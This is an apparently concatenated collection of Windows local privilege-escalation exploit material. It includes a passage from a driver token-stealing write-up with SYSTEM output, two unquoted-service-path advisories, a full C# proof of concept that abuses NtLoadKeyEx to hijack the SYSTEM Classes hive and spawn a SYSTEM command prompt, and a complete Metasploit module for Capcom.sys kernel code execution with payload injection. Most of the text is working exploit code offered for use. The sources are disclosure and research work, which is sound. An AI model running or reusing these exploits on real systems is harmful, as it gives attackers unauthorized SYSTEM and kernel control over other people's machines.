EPROCESS structures are allocated with Proc pool tag, this is the first indicator that EPROCESS search algorithm will look for. Each memory chunk starts with POOL_HEADER structure, followed by a few OBJECT_HEADER_xxx_INFO structures and finally by the OBJECT_HEADER. OBJECT_HEADER.Body is the actual EPROCESS. More details can be found in Uninformed Journal or in WRK (ObpAllocateObject, \wrk\base\ntos\ob\obcreate.c). On Windows 10 x64 (TH2, RS1) all those structures sums up to 0x80 bytes. To successfully execute local privilege escalation, I need to locate EPROCESS structure of 2 processes. One will be some system process and the second should be the process that privileges are supposed to be escalated. For system process I chose wininit.exe, and the escalated process will be the current process. Having names and PIDs of chosen processes, exploit can proceed to final EPROCESS verification (checks of UniqueProcessId and ImageFileName fields).
With above information it is possible to test initial exploit – it is very slow, so slow that I haven’t wait till it finish. The slowdown comes from accessing addresses that are reserved for hardware IO devices. Those reserved memory ranges will vary from one machine to another, so it’s required to find them out and skip during EPROCESS search. The easiest method to get those ranges is calling NtQuerySystemInformation with SuperfetchInformationClass (http://www.alex-ionescu.com/?p=51), however this call requires elevation, so it has no use in this case. Second place where this information can be obtained is WMI (CIMV2, Win32_DeviceMemoryAddress). This method is not as accurate as SuperfetchInformationClass, but I decided to use it in my PoC. Information returned on VMware test system were 100% accurate, and the slowdown disappeared, however I was still experiencing slowdown on my host machine. I come up with really simple and ugly solution: I’ve added hardcoded <0xF0000000-0xFFFFFFFF> region to the ranges returned from WMI. At this point PoC successfully runs on both VMware test machine (Win10 x64 TH2) and my host machine (Win10 x64 RS1):
Whoami: secret\user
Found wininit.exe PID: 000002D8
Looking for wininit.exe EPROCESS...
EPROCESS: wininit.exe, token: FFFF8A06105A006B, PID: 2D8
Stealing token...
Stolen token: FFFF8A06105A006B
Looking for MsiExploit.exe EPROCESS...
EPROCESS: MsiExploit.exe, token: FFFF8A0642E3B957, PID: CAA8
Reusing token...
Whoami: nt authority\system
Over-engineered version of PoC can be found on github (Visual Studio 2015 recommended):
https://github.com/rwfpl/rewolf-msi-exploit
It has hard-coded EPROCESS field offsets, so it only works on Win10 x64 TH2/RS1. PoC should work with any version of NTIOLib and WinIO drivers. I haven’t fully analyzed RTCore interface due to the fact, that I found it just today, so obviously it is not included in PoC.
# Exploit Title: Macro Expert 4.0 Multiple Elevation of Privilege
# Date: 26/09/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Vendor Homepage: http://www.macro-expert.com/
# Software Link: http://www.macro-expert.com/download.htm
# Version: Software Version 4.0
# Tested on: Windows 7 x86
# Shout-out to carbonated and ozzie_offsec
1. Description:
Macro Expert installs as a service with an unquoted service path running with SYSTEM
privileges. This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system. Additionally the
default installation path suffers from weak folder permission which an unauthorized user
in the BUILTIN\Users group could take advantage of.
2. Proof
C:\Program Files\GrassSoft>sc qc "Macro Expert"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Macro Expert
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : c:\program files\grasssoft\macro expert\MacroService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Macro Expert
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Program Files\GrassSoft>cacls "Macro Expert"
C:\Program Files\GrassSoft\Macro Expert BUILTIN\Users:(OI)(CI)C
NT SERVICE\TrustedInstaller:(ID)F
NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F
NT AUTHORITY\SYSTEM:(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
BUILTIN\Administrators:(ID)F
BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
BUILTIN\Users:(ID)R
BUILTIN\Users:(OI)(CI)(IO)(ID)(special access:)
GENERIC_READ
GENERIC_EXECUTE
CREATOR OWNER:(OI)(CI)(IO)(ID)F
3. Exploit:
A successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=865
Windows: NtLoadKeyEx User Hive Attachment Point EoP
Platform: Windows 10 10586 (32/64) and 8.1 Update 2, not tested Windows 7
Class: Elevation of Privilege
Summary:
The NtLoadKeyEx system call allows an unprivileged user to load registry hives outside of the \Registry\A hidden attachment point which can be used to elevate privileges.
Description:
Windows Vista and above support loading per-user registry hives. Normally calling NtLoadKeyEx would require Backup/Restore privileges to do this making it useless for the average user.. However per-user hives are permitted from a normal user. When calling the Win32 API RegLoadAppKey the hive is loaded under \Registry\A which is a hidden attachment key and doesn’t provide any obvious benefit from an EoP perspective (especially as the root name is a random GUID). However it turns out that you can load the per-user hive to any attachment point such as \Registry\User or \Registry\Machine. Interestingly this works even as a sandboxed user, so it would be an escape out of EPM/Edge/Bits of Chrome etc.
So how can we exploit this? The simplest way I’ve found is to register the hive as the local system "Classes" key. This isn’t registered by default, however a quick inspection indicates that local system does indeed refer to this key when trying to access COM registration information. So by putting an appropriate registration in \Registry\User\S-1-5-18_Classes it will be loaded as a local system component and privileged execution is achieved.
Proof of Concept:
I’ve provided a PoC as a C# source code file. You need to compile it first. It uses the issue with NtLoadKeyEx to map a custom hive over the local system’s Classes key. It then registers a type library which is loaded when WinLogon is signaled. I signal WinLogon by locking the screen. It abuses the fact that registered type library paths when passed to LoadTypeLib can be a COM moniker. So I register a COM scriptlet moniker which will be bound when LoadTypeLib parses it, this causes a local scriptlet file to be executed which respawns the original binary to spawn an interactive command prompt. By doing it this way it works on 32 bit and 64 bit without any changes.
Note that it doesn’t need to use the Lock Screen, just this was the first technique I found. Many system services are loading data out of the registry hive, it would just be a case of finding something which could be trivially triggered by the application. In any case imo the bug is the behaviour of NtLoadKeyEx, not how I exploit it.
1) Compile the C# source code file.
2) Execute the PoC executable as a normal user.
3) The PoC should lock the screen. You’ll need to unlock again (do not log out).
4) If successful a system level command prompt should be available on the user’s desktop when you unlock.
Expected Result:
You can’t create a per-user hive outside of the hidden attachment point.
Observed Result:
Well obviously you can.
*/
using Microsoft.Win32;
using Microsoft.Win32.SafeHandles;
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Poc_NtLoadKeyEx_EoP
{
class Program
{
[Flags]
public enum AttributeFlags : uint
{
None = 0,
Inherit = 0x00000002,
Permanent = 0x00000010,
Exclusive = 0x00000020,
CaseInsensitive = 0x00000040,
OpenIf = 0x00000080,
OpenLink = 0x00000100,
KernelHandle = 0x00000200,
ForceAccessCheck = 0x00000400,
IgnoreImpersonatedDevicemap = 0x00000800,
DontReparse = 0x00001000,
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public sealed class UnicodeString
{
ushort Length;
ushort MaximumLength;
[MarshalAs(UnmanagedType.LPWStr)]
string Buffer;
public UnicodeString(string str)
{
Length = (ushort)(str.Length * 2);
MaximumLength = (ushort)((str.Length * 2) + 1);
Buffer = str;
}
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public sealed class ObjectAttributes : IDisposable
{
int Length;
IntPtr RootDirectory;
IntPtr ObjectName;
AttributeFlags Attributes;
IntPtr SecurityDescriptor;
IntPtr SecurityQualityOfService;
private static IntPtr AllocStruct(object s)
{
int size = Marshal.SizeOf(s);
IntPtr ret = Marshal.AllocHGlobal(size);
Marshal.StructureToPtr(s, ret, false);
return ret;
}
private static void FreeStruct(ref IntPtr p, Type struct_type)
{
Marshal.DestroyStructure(p, struct_type);
Marshal.FreeHGlobal(p);
p = IntPtr.Zero;
}
public ObjectAttributes(string object_name)
{
Length = Marshal.SizeOf(this);
if (object_name != null)
{
ObjectName = AllocStruct(new UnicodeString(object_name));
}
Attributes = AttributeFlags.None;
}
public void Dispose()
{
if (ObjectName != IntPtr.Zero)
{
FreeStruct(ref ObjectName, typeof(UnicodeString));
}
GC.SuppressFinalize(this);
}
~ObjectAttributes()
{
Dispose();
}
}
[Flags]
public enum LoadKeyFlags
{
None = 0,
AppKey = 0x10,
Exclusive = 0x20,
Unknown800 = 0x800,
}
[Flags]
public enum GenericAccessRights : uint
{
None = 0,
GenericRead = 0x80000000,
GenericWrite = 0x40000000,
GenericExecute = 0x20000000,
GenericAll = 0x10000000,
Delete = 0x00010000,
ReadControl = 0x00020000,
WriteDac = 0x00040000,
WriteOwner = 0x00080000,
Synchronize = 0x00100000,
MaximumAllowed = 0x02000000,
}
public class NtException : ExternalException
{
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string modulename);
[Flags]
enum FormatFlags
{
AllocateBuffer = 0x00000100,
FromHModule = 0x00000800,
FromSystem = 0x00001000,
IgnoreInserts = 0x00000200
}
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int FormatMessage(
FormatFlags dwFlags,
IntPtr lpSource,
int dwMessageId,
int dwLanguageId,
out IntPtr lpBuffer,
int nSize,
IntPtr Arguments
);
[DllImport("kernel32.dll")]
private static extern IntPtr LocalFree(IntPtr p);
private static string StatusToString(int status)
{
IntPtr buffer = IntPtr.Zero;
try
{
if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
{
return Marshal.PtrToStringUni(buffer);
}
}
finally
{
if (buffer != IntPtr.Zero)
{
LocalFree(buffer);
}
}
return String.Format("Unknown Error: 0x{0:X08}", status);
}
public NtException(int status) : base(StatusToString(status))
{
}
}
public static void StatusToNtException(int status)
{
if (status < 0)
{
throw new NtException(status);
}
}
[DllImport("ntdll.dll")]
public static extern int NtLoadKeyEx(ObjectAttributes DestinationName, ObjectAttributes FileName, LoadKeyFlags Flags,
IntPtr TrustKeyHandle, IntPtr EventHandle, GenericAccessRights DesiredAccess, out SafeRegistryHandle KeyHandle, int Unused);
static string scriptlet_code = @"<?xml version='1.0'?>
<package>
<component id='giffile'>
<registration
description='Dummy'
progid='giffile'
version='1.00'
remotable='True'>
</registration>
<script language='JScript'>
<![CDATA[
new ActiveXObject('Wscript.Shell').exec('%CMDLINE%');
]]>
</script>
</component>
</package>
";
public enum TokenInformationClass
{
TokenSessionId = 12
}
[DllImport("ntdll.dll")]
public static extern int NtClose(IntPtr handle);
[DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
public static extern int NtOpenProcessTokenEx(
IntPtr ProcessHandle,
GenericAccessRights DesiredAccess,
AttributeFlags HandleAttributes,
out IntPtr TokenHandle);
public sealed class SafeKernelObjectHandle
: SafeHandleZeroOrMinusOneIsInvalid
{
public SafeKernelObjectHandle()
: base(true)
{
}
public SafeKernelObjectHandle(IntPtr handle, bool owns_handle)
: base(owns_handle)
{
SetHandle(handle);
}
protected override bool ReleaseHandle()
{
if (!IsInvalid)
{
NtClose(this.handle);
this.handle = IntPtr.Zero;
return true;
}
return false;
}
}
public enum TokenType
{
Primary = 1,
Impersonation = 2
}
[DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
public static extern int NtDuplicateToken(
IntPtr ExistingTokenHandle,
GenericAccessRights DesiredAccess,
ObjectAttributes ObjectAttributes,
bool EffectiveOnly,
TokenType TokenType,
out IntPtr NewTokenHandle
);
public static SafeKernelObjectHandle DuplicateToken(SafeKernelObjectHandle existing_token)
{
IntPtr new_token;
using (ObjectAttributes obja = new ObjectAttributes(null))
{
StatusToNtException(NtDuplicateToken(existing_token.DangerousGetHandle(),
GenericAccessRights.MaximumAllowed, obja, false, TokenType.Primary, out new_token));
return new SafeKernelObjectHandle(new_token, true);
}
}
public static SafeKernelObjectHandle OpenProcessToken()
{
IntPtr new_token;
StatusToNtException(NtOpenProcessTokenEx(new IntPtr(-1),
GenericAccessRights.MaximumAllowed, AttributeFlags.None, out new_token));
using (SafeKernelObjectHandle ret = new SafeKernelObjectHandle(new_token, true))
{
return DuplicateToken(ret);
}
}
[DllImport("ntdll.dll")]
public static extern int NtSetInformationToken(
SafeKernelObjectHandle TokenHandle,
TokenInformationClass TokenInformationClass,
byte[] TokenInformation,
int TokenInformationLength);
public static void SetTokenSessionId(SafeKernelObjectHandle token, int session_id)
{
byte[] buffer = BitConverter.GetBytes(session_id);
NtSetInformationToken(token, TokenInformationClass.TokenSessionId,
buffer, buffer.Length);
}
static Tuple<EventWaitHandle, EventWaitHandle> GetEvents()
{
EventWaitHandle user_ev = new EventWaitHandle(false, EventResetMode.AutoReset, @"Global\ntloadkey_event_user_wait");
EventWaitHandle sys_ev = new EventWaitHandle(false, EventResetMode.AutoReset, @"Global\ntloadkey_event_sys_wait");
return new Tuple<EventWaitHandle, EventWaitHandle>(user_ev, sys_ev);
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
enum CreateProcessFlags
{
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NEW_CONSOLE = 0x00000010,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_NO_WINDOW = 0x08000000,
CREATE_PROTECTED_PROCESS = 0x00040000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_SUSPENDED = 0x00000004,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
DEBUG_PROCESS = 0x00000001,
DETACHED_PROCESS = 0x00000008,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
INHERIT_PARENT_AFFINITY = 0x00010000
}
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern bool CreateProcessAsUser(
IntPtr hToken,
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
CreateProcessFlags dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
static void SpawnInteractiveCmd(int sessionid)
{
Tuple<EventWaitHandle, EventWaitHandle> events = GetEvents();
Console.WriteLine("Got Events");
events.Item1.Set();
events.Item2.WaitOne();
SafeKernelObjectHandle token = OpenProcessToken();
SetTokenSessionId(token, sessionid);
STARTUPINFO startInfo = new STARTUPINFO();
startInfo.cb = Marshal.SizeOf(startInfo);
PROCESS_INFORMATION procInfo;
CreateProcessAsUser(token.DangerousGetHandle(), null, "cmd.exe",
IntPtr.Zero, IntPtr.Zero, false, CreateProcessFlags.CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref startInfo, out procInfo);
}
[DllImport("user32.dll")]
static extern bool LockWorkStation();
static void DoExploit()
{
Console.WriteLine("{0}", Assembly.GetCallingAssembly().Location);
Tuple<EventWaitHandle, EventWaitHandle> events = GetEvents();
string cmdline = String.Format(@"""{0}"" {1}",
Assembly.GetCallingAssembly().Location.Replace('\\', '/'), Process.GetCurrentProcess().SessionId);
string scriptlet_path = Path.GetFullPath("dummy.sct");
File.WriteAllText(scriptlet_path, scriptlet_code.Replace("%CMDLINE%", cmdline), Encoding.ASCII);
Console.WriteLine("{0}", scriptlet_path);
string scriptlet_url = "script:" + new Uri(scriptlet_path).AbsoluteUri;
Console.WriteLine("{0}", scriptlet_url);
string reg_name = @"\Registry\User\S-1-5-18_Classes";
string path = @"\??\" + Path.GetFullPath("dummy.hiv");
File.Delete("dummy.hiv");
ObjectAttributes KeyName = new ObjectAttributes(reg_name);
ObjectAttributes FileName = new ObjectAttributes(path);
SafeRegistryHandle keyHandle;
StatusToNtException(NtLoadKeyEx(KeyName,
FileName, LoadKeyFlags.AppKey, IntPtr.Zero,
IntPtr.Zero, GenericAccessRights.GenericAll, out keyHandle, 0));
RegistryKey key = RegistryKey.FromHandle(keyHandle);
RegistryKey typelib_key = key.CreateSubKey("TypeLib").CreateSubKey("{D597DEED-5B9F-11D1-8DD2-00AA004ABD5E}").CreateSubKey("2.0").CreateSubKey("0");
typelib_key.CreateSubKey("win32").SetValue(null, scriptlet_url);
typelib_key.CreateSubKey("win64").SetValue(null, scriptlet_url);
Console.WriteLine("Handle: {0} - Key {1} - Path {2}", keyHandle.DangerousGetHandle(), reg_name, path);
Console.WriteLine("Lock screen and re-login.");
LockWorkStation();
events.Item1.WaitOne();
typelib_key.DeleteSubKey("win32");
typelib_key.DeleteSubKey("win64");
File.Delete(scriptlet_path);
typelib_key.Close();
key.Close();
events.Item2.Set();
}
static void Main(string[] args)
{
try
{
if (args.Length > 0)
{
SpawnInteractiveCmd(int.Parse(args[0]));
}
else
{
DoExploit();
}
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
}
}
# Exploit Title: Iperius Remote 1.7.0 Unquoted Service Path Elevation of Privilege
# Date: 26/09/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Vendor Homepage: http://www.iperiusremote.com
# Software Link: https://www.iperiusremote.com/download.aspx
# Version: Software Version 1.7.0
# Tested on: Windows 7 x86
# Shout-out to carbonated and ozzie_offsec
1. Description:
Iperius Remote allows the user to install the application as a service with an unquoted service path running with SYSTEM privileges. It is important to note that the application installs itself as a service in the same location where the setup file in ran from. Provided that the end user initiates the installation from a directory with spaces in it's path, this could allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.
2. Proof
C:\>sc qc IperiusRemotesvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: IperiusRemotesvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Random Folder With Spaces\IperiusRemote.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : IperiusRemote Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
3. Exploit:
A successful attempt would require the local user to be able to insert their
code in the system path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows Capcom.sys Kernel Execution Exploit (x64 only)',
'Description' => %q{
This module abuses the Capcom.sys kernel driver's function that allows for an
arbitrary function to be executed in the kernel from user land. This function
purposely disables SMEP prior to invoking a function given by the caller.
This has been tested on Windows 7 x64.
},
'License' => MSF_LICENSE,
'Author' => [
'TheWack0lian', # Issue discovery
'OJ Reeves' # exploit and msf module
],
'Arch' => [ ARCH_X86_64],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
},
'Targets' => [
[ 'Windows x64 (<= 8)', { 'Arch' => ARCH_X86_64 } ]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['URL', 'https://twitter.com/TheWack0lian/status/779397840762245124']
],
'DisclosureDate' => 'Jan 01 1999', # non-vuln exploit date
'DefaultTarget' => 0
}))
end
def check
if sysinfo['OS'] !~ /windows 7/i
return Exploit::CheckCode::Unknown
end
if sysinfo['Architecture'] =~ /(wow|x)64/i
arch = ARCH_X86_64
else
return Exploit::CheckCode::Safe
end
file_path = expand_path('%windir%') << '\\system32\\capcom.sys'
return Exploit::CheckCode::Safe unless file_exist?(file_path)
# TODO: check for the capcom.sys driver and its version.
return Exploit::CheckCode::Appears
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
check_result = check
if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if sysinfo['Architecture'] =~ /wow64/i
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session')
elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
end
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Reader Sandbox won't allow to create a new process:
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_status('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'capcom_sys_exec',
'capcom_sys_exec.x64.dll')
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end